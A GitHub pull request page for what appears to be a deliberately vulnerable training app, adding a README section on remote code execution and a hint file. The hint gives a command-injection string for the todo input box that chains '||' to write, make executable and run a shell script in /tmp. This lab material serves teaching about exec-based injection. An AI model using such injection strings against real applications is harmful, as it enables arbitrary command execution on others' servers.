Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Added a remote code excecution vulnerability for snyk-demo-todo_goof #8

Open
wants to merge 2 commits into
base: main
Choose a base branch
from
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
7 changes: 7 additions & 0 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -216,6 +216,13 @@ Back on the snyk project page, find the XSS vulnerability in the ```marked``` pa

After updating your application, try your hacks again. Congratulations, you’ve remediated the XSS vulnerability and shouldn’t be able to embed JavaScript on the web page any longer.

## Remote Code Excecution

If a developer is using exec-commands to execute system tools he has to be sure, that there is no way escaping the command string.
Best practice is not using commands like exec.

Click to see [Hint 1](rce/hint1.md).

# Java Goof Installation

Depending on your choice before pick the appropriate install manual
Expand Down
13 changes: 13 additions & 0 deletions rce/1.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,13 @@
Take a look at app.js and find out what is happening, if you create a todo.

Check out the route mapping under routes/index.js.

Find vulnerable exec command.

Just put...

```
![alt text](https://its-me-dennis.ovh/wp-content/uploads/2019/05/photo504663614128498900.jpg || echo '#!/bin/bash\n#bad stuff happening' > /tmp/extracted_files/exploit.sh && chmod +x /tmp/extracted_files/exploit.sh && /tmp/extracted_files/exploit.sh" hax0r
```

in the input box an have fun (simply via webbrowser, in my case Chromium 75.0.3770.90).